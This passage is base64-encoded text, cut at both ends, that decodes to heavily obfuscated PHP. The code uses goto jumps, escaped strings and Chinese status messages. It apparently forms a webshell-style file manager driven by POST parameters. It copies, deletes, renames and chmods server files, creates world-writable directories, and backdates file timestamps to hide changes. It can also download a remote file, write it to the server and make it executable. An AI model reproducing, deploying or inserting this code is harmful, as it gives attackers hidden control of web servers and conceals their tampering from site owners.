Fx4MjJcXDE0MlxceDc1XFx4NzRcXHg3NFxceDZmXFx4NmVcXDQyXFx4MjBcXDE2NlxcMTQxXFwxNTRcXDE2NVxcMTQ1XFx4M2RcXHgyMlxcMzQ2XFwyMTFcXHhiOVxcMzUxXFx4ODdcXHg4ZlxceDQ3XFwxMzJcXDExNFxceDIyXFx4MjBcXDE2M1xcMTY0XFwxNzFcXHg2Y1xceDY1XFw3NVxcNDJcXDE2N1xcMTUxXFx4NjRcXDE2NFxceDY4XFx4M2FcXHgzOFxcNjBcXHg3MFxceDc4XFw3M1xceDIyXFw0MFxceDZmXFx4NmVcXHg2M1xcMTU0XFx4NjlcXHg2M1xceDZiXFx4M2RcXDQ3XFwxNjBcXHg2Y1xceDc0XFwxNDVcXHg3OFxcMTY0XFx4NzNcXHgyOFxcNDJcXHhlNlxceDg5XFx4YjlcXDM1MVxceDg3XFx4OGZcXDEwN1xceDVhXFwxMTRcXHgyMlxcNTRcXDQyXCIgLiAkSnp3cmEgLiBcIlxcNDJcXHgyY1xcNDJcXDE2MFxceDZjXFx4NjdcXHg3YVxceDZjXFw0MlxceDI5XFx4M2JcXHgyN1xcNzZcXDQwXCI7IGdvdG8gekIxS2o7IFpfWHFSOiAkWUpuYnIgPSBjNEdIcigkSnp3cmEpOyBnb3RvIG91UF9aOyB1clZGOTogJFFTTzhmIC49IFwiXFw3NFxceDY5XFwxNTZcXHg3MFxceDc1XFx4NzRcXDQwXFx4NzRcXDE3MVxceDcwXFwxNDVcXDc1XFx4MjJcXDE0MlxcMTY1XFx4NzRcXHg3NFxcMTU3XFwxNTZcXHgyMlxcNDBcXDE1N1xceDZlXFwxNDNcXDE1NFxcMTUxXFwxNDNcXHg2YlxcNzVcXHgyMlxceDI0XFw1MFxcNDdcXDE2NVxceDcwXFwxNDZcXDE2MlxceDZkXFw0N1xceDI5XFw1NlxcMTYzXFwxNjVcXDE0MlxcMTU1XFwxNTFcXHg3NFxceDI4XFw1MVxceDNiXFw0MlxceDIwXFx4NzZcXDE0MVxceDZjXFwxNjVcXDE0NVxceDNkXFx4MjJcXDM0NFxcMjcwXFwyMTJcXHhlNFxceGJjXFwyNDBcXHgyMlxcNDBcXHg3M1xcMTY0XFx4NzlcXHg2Y1xceDY1XFx4M2RcXDQyXFwxNjdcXDE1MVxceDY0XFx4NzRcXHg2OFxceDNhXFx4MzVcXHgzMFxcMTYwXFwxNzBcXHgzYlxceDIyXFw3NlxcNDBcIjsgZ290byBzbWVZaTsgdm9LdHQ6ICRRU084ZiAuPSBcIlxceGU3XFx4OWJcXDI1NlxceGU1XFwyNzVcXHg5NVxceDViXCIgLiAkQ1UzX28gLiBcIlxcMTM1XFw0MFxcNTVcXDQwXFx4ZTZcXHg5NlxcMjA3XFx4ZTRcXHhiYlxcMjY2XFx4NWJcIiAuICRET2RCWiAuIFwiXFx4NWRcXDQwXFw1NVxceDIwXFx4ZTVcXDI2MVxceDllXFx4ZTZcXDIwMFxceGE3XFx4NWJcIiAuICRSb050QyAuIFwiXFx4NWRcXDc0XFw1N1xcMTQ0XFwxNTFcXDE2NlxceDNlXFx4M2NcXHgyZlxcMTQ2XFwxNTdcXHg3MlxcMTU1XFw3NlwiOyBnb3RvIGI4S09qOyBuZ212XzogJFFTTzhmIC49IFwiXFx4M2NcXHg2ZlxcMTYwXFx4NzRcXDE1MVxcMTU3XFx4NmVcXDQwXFx4NzZcXHg2MVxceDZjXFx4NzVcXHg2NVxcNzVcXHgyMlxcNTdcXHg3NFxceDZkXFx4NzBcXHgyZlxcNDJcXDc2XFwxMTRcXDE1MVxceDZlXFx4NzVcXDE3MFxceDJkXFwxNjRcXDE1NVxceDcwXFx4M2NcXHgyZlxcMTU3XFwxNjBcXDE2NFxcMTUxXFwxNTdcXDE1NlxcNzZcIjsgZ290byBqM2RvMTsgWWhHVng6IHN3aXRjaCAoJF9QT1NUW1wiXFx4NjFcXDE0M1xcMTY0XCJdKSB7IGNhc2UgXCJcXDE0MVwiOiBnb3RvIEs4Qk1vOyBZek5LcDogaE9ZQXk6IGdvdG8gT3BsMXE7IEx6S1FQOiBnb3RvIExUOHAxOyBnb3RvIFl6TktwOyBaMlhUaDogTFdMXzI6IGdvdG8gdENGTGs7IEpHb3k2OiBnb3RvIGhUTlFROyBnb3RvIEtEOUlGOyBLOEJNbzogaWYgKCEkX1BPU1RbXCJcXHg2NlxceDY5XFwxNTRcXDE0NVxceDczXCJdKSB7IGdvdG8gaE9ZQXk7IH0gZ290byB1Y3FocTsgT3BsMXE6ICRVZ0x6XyA9IFwiXFx4M2NcXHg2OFxceDMxXFw3NlxceGU4XFx4YWZcXDI2N1xceGU5XFx4ODBcXHg4OVxceGU2XFwyMTNcXHhhOVxcMzQ2XFx4OTZcXDIwN1xceGU0XFwyNzNcXHhiNlxcNDBcIiAuICRfUE9TVFtcIlxcMTY2XFwxNDFcXDE2MlwiXSAuIFwiXFw3NFxceDJmXFx4NjhcXHgzMVxcNzZcIjsgZ290byBZZ2JWczsgdWNxaHE6ICR1THRUZCA9IDA7IGdvdG8gVTBGQno7IHRDRkxrOiAkVWdMel8gPSAkVWdMel8gPSAkdUx0VGQgPyBcIlxcNzRcXDE1MFxceDMyXFw3NlxcMzQ1XFwyMDVcXHhiMVxcMzQ1XFwyNDRcXDIxNVxcMzQ1XFwyMTBcXHhiNlxcNDBcIiAuICR1THRUZCAuIFwiXFx4MjBcXHhlNFxceGI4XFwyNTJcXHhlNlxceDk2XFx4ODdcXHhlNFxcMjczXFx4YjZcXHhlNVxceDg4XFx4YjBcIiAuICRfUE9TVFtcIlxcMTY2XFwxNDFcXDE2MlwiXSAuIFwiXFx4ZTZcXDIxMFxceDkwXFwzNDVcXDIxMlxceDlmXFw3NFxceDJmXFwxNTBcXDYyXFx4M2VcIiA6IFwiXFx4M2NcXHg2OFxceDMxXFw3NlxcMzQ1XFx4ODVcXDI2MVxceGU1XFwyNDRcXHg4ZFxceGU1XFwyMTBcXHhiNlxceDIwXCIgLiAkdUx0VGQgLiBcIlxceDIwXFwzNDRcXDI3MFxceGFhXFwzNDZcXDIyNlxceDg3XFx4ZTRcXHhiYlxcMjY2XFwzNDVcXHg4OFxceGIwXCIgLiAkX1BPU1RbXCJcXHg3NlxcMTQxXFwxNjJcIl0gLiBcIlxcMzQ1XFx4YTRcXDI2MVxcMzUwXFwyNjRcXDI0NVxceDNjXFw1N1xceDY4XFw2MVxceDNlXCI7IGdvdG8gTHpLUVA7IFlnYlZzOiBMVDhwMTogZ290byBKR295NjsgVTBGQno6IGZvcmVhY2ggKCRfUE9TVFtcIlxcMTQ2XFx4NjlcXHg2Y1xcMTQ1XFwxNjNcIl0gYXMgJGViXzdKKSB7ICR1THRUZCArPSBAY29weShQYm0wNygkSnp3cmEgLiAkZWJfN0opLCBwYk0wNygkX1BPU1RbXCJcXDE2NlxcMTQxXFwxNjJcIl0gLiBcIlxceDJmXFwxNDNcXDE1N1xceDcwXFwxNzFcXHg1ZlwiIC4gJGViXzdKKSkgPyAxIDogMDsgUFR1ajA6IH0gZ290byBaMlhUaDsgS0Q5SUY6IGNhc2UgXCJcXHg2MlwiOiBnb3RvIE52ZUluOyBSaFZlVTogRGtXQ3E6IGdvdG8gWUVwVzU7IFlFcFc1OiAkVWdMel8gPSAkdUx0VGQgPyBcIlxcNzRcXDE1MFxcNjJcXHgzZVxcMzQ1XFwyMDVcXDI2MVxcMzQ1XFwyMTBcXHhhMFxceGU5XFx4OTlcXHhhNFxceDIwXCIgLiAkdUx0VGQgLiBcIlxcNDBcXHhlNFxceGI4XFx4YWFcXDM0NlxcMjI2XFx4ODdcXDM0NFxceGJiXFwyNjZcXDM0NlxcMjEwXFwyMjBcXDM0NVxcMjEyXFwyMzdcXHgzY1xcNTdcXHg2OFxceDMyXFw3NlwiIDogXCJcXDc0XFx4NjhcXHgzMVxceDNlXFx4ZTVcXDIwNVxcMjYxXFx4ZTVcXDIxMFxcMjQwXFwzNTFcXHg5OVxcMjQ0XFx4MjBcIiAuICR1THRUZCAuIFwiXFw0MFxcMzQ0XFwyNzBcXHhhYVxcMzQ2XFx4OTZcXDIwN1xcMzQ0XFwyNzNcXHhiNlxceGU1XFwyNDRcXHhiMVxcMzUwXFx4YjRcXDI0NVxcNzRcXDU3XFx4NjhcXHgzMVxceDNlXCI7IGdvdG8gb05NTm07IGpiZDBfOiBnb3RvIGhUTlFROyBnb3RvIFo5eG5DOyBvTk1ObTogZ290byBJQVhYUjsgZ290byBqbG9LdzsgamxvS3c6IEc0a0oyOiBnb3RvIEg0UG5MOyBHVGVJXzogJHVMdFRkID0gMDsgZ290byB1RkxieDsgbkRuX3g6IElBWFhSOiBnb3RvIGpiZDBfOyBINFBuTDogJFVnTHpfID0gXCJcXDc0XFx4NjhcXDYxXFx4M2VcXDM1MFxcMjU3XFwyNjdcXDM1MVxceDgwXFwyMTFcXDM0NlxcMjEzXFx4YTlcXDM0NlxceDk2XFx4ODdcXDM0NFxceGJiXFwyNjZcXDc0XFw1N1xceDY4XFx4MzFcXHgzZVwiOyBnb3RvIG5Ebl94OyB1RkxieDogZm9yZWFjaCAoJF9QT1NUW1wiXFwxNDZcXDE1MVxcMTU0XFwxNDVcXDE2M1wiXSBhcyAkZWJfN0opIHsgJHVMdFRkICs9IEB1bmxpbmsoUEJNMDcoJEp6d3JhIC4gJGViXzdKKSkgPyAxIDogMDsgdHp0c3g6IH0gZ290byBSaFZlVTsgTnZlSW46IGlmICghJF9QT1NUW1wiXFx4NjZcXDE1MVxceDZjXFwxNDVcXDE2M1wiXSkgeyBnb3RvIEc0a0oyOyB9IGdvdG8gR1RlSV87IFo5eG5DOiBjYXNlIFwiXFwxNDNcIjogZ290byBLR0hjejsgelhDTEg6IEVhdUplOiBnb3RvIFpfSlNvOyBFd2dmTzogJFVnTHpfID0gXCJcXHgzY1xcMTUwXFx4MzFcXDc2XFwzNTBcXDI1N1xcMjY3XFwzNTFcXHg4MFxcMjExXFwzNDZcXHg4YlxcMjUxXFx4ZTZcXHg5NlxcMjA3XFx4ZTRcXDI3M1xcMjY2XFw0MFwiIC4gJF9QT1NUW1wiXFx4NzZcXDE0MVxceDcyXCJdIC4gXCJcXHgzY1xceDJmXFx4NjhcXHgzMVxcNzZcIjsgZ290byBGUHZuaTsgeFR2QWg6IGZvcmVhY2ggKCRfUE9TVFtcIlxcMTQ2XFx4NjlcXHg2Y1xceDY1XFx4NzNcIl0gYXMgJGViXzdKKSB7IHRyeSB7ICR1THRUZCArPSBAY2htb2QocGJNMDcoJEp6d3JhIC4gJGViXzdKKSwgYmFzZV9jb252ZXJ0KCRfUE9TVFtcIlxcMTY2XFx4NjFcXDE2MlwiXSwgOCwgMTApKSA/IDEgOiAwOyB9IGNhdGNoIChUaHJvd2FibGUgJHlWYmVDKSB7IH0gSUhXUnk6IH0gZ290byB6WENMSDsgVE5BTTg6IGlmICghcHJlZ19tYXRjaChcIlxcNTdcXHg1YlxcNjBcXDU1XFx4MzdcXDEzNVxcMTczXFx4MzRcXDE3NVxcNDRcXDU3XCIsICRfUE9TVFtcIlxcMTY2XFx4NjFcXHg3MlwiXSkpIHsgZ290byBFMHJ2ZjsgfSBnb3RvIFhiRFpYOyBaX0pTbzogJFVnTHpfID0gJHVMdFRkID8gXCJcXHgzY1xcMTUwXFw2MlxceDNlXFx4ZTVcXHg4NVxceGIxXFw0MFwiIC4gJHVMdFRkIC4gXCJcXHgyMFxceGU0XFwyNzBcXHhhYVxcMzQ2XFx4OTZcXDIwN1xcMzQ0XFwyNzNcXDI2NlxceGU0XFwyNzdcXDI1NlxcMzQ2XFwyMjRcXHhiOVxcMzQ1XFx4YjFcXHg5ZVxcMzQ2XFwyMDBcXDI0N1xcMzQ0XFwyNzBcXDI3MlwiIC4gJF9QT1NUW1wiXFx4NzZcXHg2MVxceDcyXCJdIC4gXCJcXHhlNlxceDg4XFwyMjBcXDM0NVxceDhhXFwyMzdcXHgzY1xcNTdcXHg2OFxceDMyXFx4M2VcIiA6IFwiXFx4M2NcXHg2OFxceDMxXFx4M2VcXDM0NVxceDg1XFx4YjFcXDQwXCIgLiAkdUx0VGQgLiBcIlxcNDBcXHhlNFxcMjcwXFx4YWFcXHhlNlxceDk2XFx4ODdcXDM0NFxcMjczXFwyNjZcXDM0NFxceGJmXFx4YWVcXDM0NlxceDk0XFwyNzFcXHhlNVxcMjYxXFx4OWVcXDM0NlxcMjAwXFwyNDdcXDM0NFxceGI4XFx4YmFcIiAuICRfUE9TVFtcIlxcMTY2XFwxNDFcXDE2MlwiXSAuIFwiXFwzNDVcXDI0NFxcMjYxXFwzNTBcXDI2NFxcMjQ1XFw3NFxcNTdcXDE1MFxceDMxXFx4M2VcIjsgZ290byBpT0VwXzsgS0dIY3o6IGlmICghJF9QT1NUW1wiXFwxNDZcXDE1MVxcMTU0XFwxNDVcXHg3M1wiXSkgeyBnb3RvIExzYnVmOyB9IGdvdG8gVE5BTTg7IGlPRXBfOiBnb3RvIHJHNVZ3OyBnb3RvIEVzck0wOyBIVUt3MDogRTBydmY6IGdvdG8gcjVHQ1U7IFhiRFpYOiAkdUx0VGQgPSAwOyBnb3RvIHhUdkFoOyBGUHZuaTogZ290byByRzVWdzsgZ290byBIVUt3MDsgcjVHQ1U6ICRVZ0x6XyA9IFwiXFw3NFxcMTUwXFw2MVxceDNlXFx4ZTVcXDI2MVxcMjM2XFx4ZTZcXDIwMFxceGE3XFwzNDVcXDIwMFxcMjc0XFwzNTFcXHg5NFxcMjMxXFx4ZThcXDI1N1xcMjU3XFx4M2NcXDU3XFx4NjhcXHgzMVxcNzZcIjsgZ290byBmV2tSVDsgVnNGVlU6IGdvdG8gaFROUVE7IGdvdG8gUHI5bmw7IEVzck0wOiBMc2J1ZjogZ290byBFd2dmTzsgZldrUlQ6IHJHNVZ3OiBnb3RvIFZzRlZVOyBQcjlubDogY2FzZSBcIlxcMTQ0XCI6IGdvdG8gRlY4eEY7IHJIUm41OiBkNENzbTogZ290byBiMVllMzsgejJYZ3Y6ICRVZ0x6XyA9ICR1THRUZCA/IFwiXFw3NFxceDY4XFw2MlxcNzZcXDM0NVxcMjA1XFx4YjFcXDQwXCIgLiAkdUx0VGQgLiBcIlxcNDBcXDM0NFxcMjcwXFx4YWFcXHhlNlxcMjI2XFwyMDdcXHhlNFxcMjczXFx4YjZcXHhlNFxcMjc3XFwyNTZcXDM0NlxcMjI0XFwyNzFcXHhlNlxceDk3XFwyNjZcXHhlOVxcMjI3XFx4YjRcXDM0NFxceGI4XFwyNzJcIiAuICRfUE9TVFtcIlxceDc2XFx4NjFcXDE2MlwiXSAuIFwiXFwzNDZcXHg4OFxcMjIwXFx4ZTVcXDIxMlxceDlmXFx4M2NcXDU3XFx4NjhcXHgzMlxceDNlXCIgOiBcIlxceDNjXFx4NjhcXHgzMVxcNzZcXHhlNVxcMjA1XFx4YjFcXHgyMFwiIC4gJHVMdFRkIC4gXCJcXHgyMFxcMzQ0XFx4YjhcXDI1MlxceGU2XFwyMjZcXDIwN1xceGU0XFwyNzNcXDI2NlxceGU0XFwyNzdcXHhhZVxceGU2XFx4OTRcXHhiOVxcMzQ2XFwyMjdcXDI2NlxceGU5XFwyMjdcXHhiNFxcMzQ0XFwyNzBcXHhiYVwiIC4gJF9QT1NUW1wiXFx4NzZcXHg2MVxceDcyXCJdIC4gXCJcXHhlNVxcMjQ0XFx4YjFcXDM1MFxcMjY0XFx4YTVcXDc0XFx4MmZcXDE1MFxceDMxXFx4M2VcIjsgZ290byBnVHRiZDsgVm9zeHQ6IGdvdG8gaFROUVE7IGdvdG8gbVF1TnM7IE1pWDl0OiAkdUx0VGQgPSAwOyBnb3RvIFZLN1diOyBiMVllMzogJFVnTHpfID0gXCJcXHgzY1xceDY4XFx4MzFcXDc2XFx4ZThcXHhhZlxcMjY3XFx4ZTlcXHg4MFxcMjExXFwzNDZcXHg4YlxceGE5XFx4ZTZcXDIyNlxcMjA3XFwzNDRcXHhiYlxceGI2XFw0MFwiIC4gJF9QT1NUW1wiXFx4NzZcXHg2MVxcMTYyXCJdIC4gXCJcXHgzY1xcNTdcXHg2OFxcNjFcXHgzZVwiOyBnb3RvIFdDTms0OyBjaW1GeTogclJJaHI6IGdvdG8gejJYZ3Y7IFZLN1diOiBmb3JlYWNoICgkX1BPU1RbXCJcXHg2NlxcMTUxXFwxNTRcXDE0NVxceDczXCJdIGFzICRlYl83SikgeyAkdUx0VGQgKz0gQHRvdWNoKFBCbTA3KCRKendyYSAuICRlYl83SiksIHN0cnRvdGltZSgkX1BPU1RbXCJcXHg3NlxcMTQxXFx4NzJcIl0pKSA/IDEgOiAwOyBuZ2dvODogfSBnb3RvIGNpbUZ5OyBXQ05rNDogZ290byBVM21iYjsgZ290byB0eF96SzsgeFJ6emo6IGlmICghcHJlZ19tYXRjaChcIlxceDJmXFw1MFxcMTM0XFx4NjRcXHgyYlxcNTFcXDU1XFx4MjhcXDEzNFxceDY0XFw1M1xceDI5XFw1NVxceDI4XFx4NWNcXHg2NFxcNTNcXDUxXFx4MjBcXDUwXFx4NWNcXHg2NFxcNTNcXDUxXFw3MlxceDI4XFwxMzRcXDE0NFxcNTNcXDUxXFw3MlxceDI4XFwxMzRcXHg2NFxceDJiXFx4MjlcXDU3XCIsICRfUE9TVFtcIlxceDc2XFx4NjFcXHg3MlwiXSkpIHsgZ290byBuSzE4VDsgfSBnb3RvIE1pWDl0OyBGVjh4RjogaWYgKCEkX1BPU1RbXCJcXDE0NlxceDY5XFwxNTRcXHg2NVxceDczXCJdKSB7IGdvdG8gZDRDc207IH0gZ290byB4Unp6ajsgTXZSVjE6ICRVZ0x6XyA9IFwiXFx4M2NcXHg2OFxcNjFcXDc2XFx4ZTZcXDIyN1xceGI2XFwzNTFcXHg5N1xceGI0XFwzNDZcXDI0MFxcMjc0XFx4ZTVcXDI3NFxcMjE3XFx4ZTlcXHg5NFxcMjMxXFx4ZThcXHhhZlxceGFmXFw0MFwiIC4gJF9QT1NUW1wiXFwxNjZcXDE0MVxceDcyXCJdIC4gXCJcXDc0XFw1N1xcMTUwXFx4MzFcXDc2XCI7IGdvdG8gbzlfMGQ7IG85XzBkOiBVM21iYjogZ290byBWb3N4dDsgZ1R0YmQ6IGdvdG8gVTNtYmI7IGdvdG8gckhSbjU7IHR4X3pLOiBuSzE4VDogZ290byBNdlJWMTsgbVF1TnM6IGNhc2UgXCJcXHg2NVwiOiBnb3RvIGlIV0lnOyBFTTkyZTogJFVnTHpfID0gQG1rZGlyKCRQZlJ2TCwgMDc3NykgPyBcIlxcNzRcXDE1MFxcNjJcXDc2XFx4ZTVcXDIxMFxcMjMzXFwzNDVcXHhiYlxceGJhXFx4ZTdcXHg5YlxcMjU2XFwzNDVcXHhiZFxceDk1XFx4MjBcIiAuICRfUE9TVFtcIlxceDc2XFwxNDFcXDE2MlwiXSAuIFwiXFw0MFxcMzQ2XFx4ODhcXHg5MFxceGU1XFx4OGFcXHg5ZlxceDNjXFw1N1xcMTUwXFx4MzJcXHgzZVwiIDogXCJcXHgzY1xceDY4XFx4MzFcXDc2XFx4ZTVcXDIxMFxceDliXFwzNDVcXHhiYlxcMjcyXFx4ZTdcXDIzM1xcMjU2XFx4ZTVcXHhiZFxceDk1XFx4MjBcIiAuICRfUE9TVFtcIlxcMTY2XFwxNDFcXHg3MlwiXSAuIFwiXFx4MjBcXHhlNVxceGE0XFwyNjFcXHhlOFxceGI0XFx4YTVcXDc0XFw1N1xcMTUwXFw2MVxceDNlXCI7IGdvdG8gVFdkWFc7IGlIV0lnOiAkUGZSdkwgPSBwYm0wNygkSnp3cmEgLiAkX1BPU1RbXCJcXDE2NlxcMTQxXFwxNjJcIl0gLiBcIlxcNTdcIik7IGdvdG8gRWUyREk7IEVlMkRJOiBpZiAoZmlsZV9leGlzdHMoJFBmUnZMKSkgeyBnb3RvIG1qdm5zOyB9IGdvdG8gRU05MmU7IEQ2bXQ0OiBnb3RvIGhUTlFROyBnb3RvIHkwaVhSOyBKdlRqODogJFVnTHpfID0gXCJcXDc0XFwxNTBcXHgzMVxceDNlXFx4ZTdcXHg5YlxceGFlXFx4ZTVcXHhiZFxcMjI1XFwzNDVcXHhiN1xcMjYyXFx4ZTVcXDI1NVxceDk4XFwzNDVcXHg5Y1xceGE4XFw0MFwiIC4gJF9QT1NUW1wiXFwxNjZcXHg2MVxceDcyXCJdIC4gXCJcXHgzY1xcNTdcXHg2OFxceDMxXFw3NlwiOyBnb3RvIGc3aUZIOyBnN2lGSDogZEdUSnM6IGdvdG8gRDZtdDQ7IFZ0dXJDOiBtanZuczogZ290byBKdlRqODsgVFdkWFc6IGdvdG8gZEdUSnM7IGdvdG8gVnR1ckM7IHkwaVhSOiBjYXNlIFwiXFwxNDZcIjogZ290byBHbE82SzsgY2ozeDM6IGdvdG8gcEVvVWE7IGdvdG8gUXVvaFM7IGVHSTdqOiBNbkh3djogZ290byBKbWRwTjsgZzNfYlM6ICRLbFE2dyA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkcklOWHQpOyBnb3RvIEhES1pXOyBsblFnVjogRmhIRmI6IGdvdG8gZXVpdG87IEdsTzZLOiAkcklOWHQgPSBhcnJheShcIlxceDY4XFx4NzRcXHg3NFxceDcwXCIgPT4gYXJyYXkoXCJcXHg3NFxcMTUxXFwxNTVcXHg2NVxceDZmXFwxNjVcXDE2NFwiID0+IDMwKSk7IGdvdG8gU0VHSFU7IFdfMGF5OiBjaG1vZChwQm0wNygkSnp3cmEgLiAkZWJfN0opLCAwNzU1KTsgZ290byBQVmZUejsgRWp3SFE6IGlmICghJGlwZHQ5KSB7IGdvdG8gemprMTQ7IH0gZ290byBOdUcxbzsgSEtCcWg6IHRVNlZrOiBnb3RvIE54dkNXOyBOeHZDVzogY0lXNnc6IGdvdG8gRWp3SFE7IGV1aXRvOiBwRW9VYTogZ290byBTdWdHUzsgcUpwZUs6IGlmIChMR1UzSihwQk0wNygkSnp3cmEgLiAkZWJfN0opLCAkczVyM3ksIFwiXFx4NzdcXDE0MlwiKSkgeyBnb3RvIExtek5BOyB9IGdvdG8geEZHTmU7IEptZHBOOiBpZiAoJHM1cjN5KSB7IGdvdG8gRHV2ME87IH0gZ290byBES1hyUDsgZ1VMOUU6ICRpcGR0OSA9IDA7IGdvdG8gRVAzbTU7IGlqRXpWOiBpZiAoZW1wdHkoJGRScU5aWzFdKSkgeyBnb3RvIE1uSHd2OyB9IGdvdG8gYTM2dVU7IFBsV21oOiAkZFJxTlogPSBleHBsb2RlKFwiXFx4MjBcIiwgJF9QT1NUW1wiXFx4NzZcXDE0MVxceDcyXCJdKTsgZ290byBaVUUxNDsgRVAzbTU6IGlmIChlbXB0eSgkWUpuYnJbXCJcXDE0NlxcMTUxXFwxNTRcXHg2NVwiXSkpIHsgZ290byBjSVc2dzsgfSBnb3RvIERhSzhpOyBIeVM0ZzogJGViXzdKID0gYXJyYXlfcG9wKCRrb2pBcik7IGdvdG8gaWpFelY7IEdBNDh1OiBnb3RvIEZoSEZiOyBnb3RvIE9mYzc1OyBTRUdIVTogaWYgKCFmdW5jdGlvbl9leGlzdHMoXCJcXHg3M1xcMTY0XFwxNjJcXDE0NVxcMTQxXFx4NmRcXHg1ZlxceDYzXFx4NmZcXDE1NlxceDc0XFwxNDVcXDE3MFxcMTY0XFwxMzdcXDE0M1xcMTYyXFx4NjVcXHg2MVxceDc0XFx4NjVcIikpIHsgZ290byBqMkExNjsgfSBnb3RvIGczX2JTOyBTdWdHUzogZ290byBoVE5RUTsgZ290byBPTUFUOTsgT2ZjNzU6IExtek5BOiBnb3RvIFNBQ3NxOyBaVUUxNDogJHM1cjN5ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkUnFOWlswXSwgZmFsc2UsICRLbFE2dyk7IGdvdG8gRUs5WXA7IFBWZlR6OiAkVWdMel8gPSBcIlxceDNjXFwxNTBcXHgzMlxcNzZcXDM0NFxcMjcwXFwyMTNcXDM1MFxceGJkXFwyNzVcXHgyMFwiIC4gJGViXzdKIC4gXCJcXDQwXFwzNDZcXDIxMFxceDkwXFwzNDVcXHg4YVxcMjM3XFx4M2NcXHgyZlxcMTUwXFx4MzJcXHgzZVwiOyBnb3RvIGxuUWdWOyBES1hyUDogJFVnTHpfID0gXCJcXDc0XFx4NjhcXDYxXFw3NlxceGU0XFwyNzBcXHg4YlxceGU4XFx4YmRcXHhiZFxceGU1XFx4YTRcXHhiMVxceGU4XFx4YjRcXDI0NVxcMzQ2XFwyMTBcXHg5NlxceGU0XFwyNzBcXDIxNVxceGU2XFx4OTRcXHhhZlxcMzQ2XFx4OGNcXDIwMVxceGU0XFx4YjhcXHg4YlxceGU4XFwyNzVcXHhiZFxcNzRcXHgyZlxceDY4XFx4MzFcXHgzZVwiOyBnb3RvIGNqM3gzOyBZeW1DZTogemprMTQ6IGdvdG8gV18wYXk7IGEzNnVVOiAkZWJfN0ogPSAkZFJxTlpbMV07IGdvdG8gZUdJN2o7IFF1b2hTOiBEdXYwTzogZ290byBxSnBlSzsgRUs5WXA6ICRrb2pBciA9IGV4cGxvZGUoXCJcXHgyZlwiLCAkZFJxTlpbMF0pOyBnb3RvIEh5UzRnOyBOdUcxbzogQHRvdWNoKHBibTA3KCRKendyYSAuICRlYl83SiksICRpcGR0OSk7IGdvdG8gWXltQ2U7IERhSzhpOiBmb3JlYWNoICgkWUpuYnJbXCJcXHg2NlxceDY5XFx4NmNcXHg2NVwiXSBhcyAkY1Qxb3ogPT4gJEtlc19xKSB7IGdvdG8gYzBBSDc7IGRRT0xmOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byBoR29JdDsga2pwVlg6IGIwYXlKOiBnb3RvIE9YdElNOyBkbEVibTogaWYgKCEoZmlsZW10aW1lKCRjVDFveikgPCAkaXBkdDkpKSB7IGdvdG8gb0tNR3E7IH0gZ290byBkUU9MZjsgVkZ6Z2Y6IGdvdG8gYjBheUo7IGdvdG8gRFdBZjk7IGhHb0l0OiBvS01HcTogZ290byBWRnpnZjsgRFdBZjk6IEI4elYyOiBnb3RvIE9LeEtSOyBPWHRJTTogWmJZanU6IGdvdG8gTnVReU87IE9LeEtSOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byBranBWWDsgYzBBSDc6IGlmICghJGlwZHQ5KSB7IGdvdG8gQjh6VjI7IH0gZ290byBkbEVibTsgTnVReU86IH0gZ290byBIS0JxaDsgU0FDc3E6ICRZSm5iciA9IGM0R2hSKCRKendyYSk7IGdvdG8gZ1VMOUU7IEhES1pXOiBqMkExNjogZ290byBQbFdtaDsgeEZHTmU6IFwiXFw3NFxceDY4XFx4MzFcXDc2XFx4ZTRcXHhiOFxceDhiXFwzNTBcXHhiZFxceGJkXFx4MjBcIiAuICRlYl83SiAuIFwiXFw0MFxceGU1XFx4YTRcXHhiMVxcMzUwXFwyNjRcXHhhNVxcNzRcXHgyZlxceDY4XFx4MzFcXDc2XCI7IGdvdG8gR0E0OHU7IE9NQVQ5OiBjYXNlIFwiXFx4NzJcXHg2NlwiOiBnb3RvIGNZMmZDOyBmQVM3aDogaWYgKGNvdW50KCRrb2pBcikgIT0gMikgeyBnb3RvIEQwa0VkOyB9IGdvdG8gTmYxeFk7IGNZMmZDOiAka29qQXIgPSBleHBsb2RlKFwiXFwxNzRcXDE3MFxcMTc0XCIsICRfUE9TVFtcIlxcMTY2XFx4NjFcXHg3MlwiXSk7IGdvdG8gZkFTN2g7IGhFbmQxOiBnb3RvIFhsb2lLOyBnb3RvIGJtclA1OyBlTm9XNjogWGxvaUs6IGdvdG8gWXlTYk47IHhBME4yOiAkVWdMel8gPSBcIlxcNzRcXDE1MFxceDMxXFx4M2VcXHhlOFxcMjc2XFwyMjNcXDM0NVxceDg1XFx4YTVcXHhlOVxcMjI0XFwyMzFcXDM1MFxcMjU3XFx4YWZcXDc0XFx4MmZcXDE1MFxcNjFcXHgzZVwiOyBnb3RvIGVOb1c2OyBZeVNiTjogZ290byBoVE5RUTsgZ290byBDZWprbDsgTmYxeFk6ICRVZ0x6XyA9IEByZW5hbWUoUGJtMDcoJEp6d3JhIC4gJGtvakFyWzFdKSwgcGJNMDcoJEp6d3JhIC4gJGtvakFyWzBdKSkgPyBcIlxceDNjXFwxNTBcXHgzMlxceDNlXFwzNTFcXHg4N1xcMjE1XFwzNDVcXHg5MVxceGJkXFx4ZTVcXHg5MFxcMjE1XFx4MjBcIiAuICRrb2pBclsxXSAuIFwiXFx4MjBcXDM0NFxcMjcwXFx4YmFcXDQwXCIgLiAka29qQXJbMF0gLiBcIlxcNDBcXHhlNlxceDg4XFx4OTBcXDM0NVxceDhhXFx4OWZcXDc0XFw1N1xcMTUwXFx4MzJcXDc2XCIgOiBcIlxceDNjXFx4NjhcXDYxXFw3NlxceGU5XFx4ODdcXDIxNVxceGU1XFwyMjFcXHhiZFxcMzQ1XFx4OTBcXDIxNVxcNDBcIiAuICRrb2pBclsxXSAuIFwiXFx4MjBcXHhlNFxcMjcwXFx4YmFcXDQwXCIgLiAka29qQXJbMF0gLiBcIlxcNDBcXDM0NVxcMjQ0XFwyNjFcXDM1MFxcMjY0XFwyNDVcXHgzY1xcNTdcXHg2OFxcNjFcXHgzZVwiOyBnb3RvIGhFbmQxOyBibXJQNTogRDBrRWQ6IGdvdG8geEEwTjI7IENlamtsOiBjYXNlIFwiXFwxNjBcXHg2NFwiOiBnb3RvIGppQm5pOyBvZG9kVTogeFVaUzM6IGdvdG8gaEx4dVQ7IGppQm5pOiAka29qQXIgPSBleHBsb2RlKFwiXFx4N2NcXHg3OFxcMTc0XCIsICRfUE9TVFtcIlxceDc2XFx4NjFcXHg3MlwiXS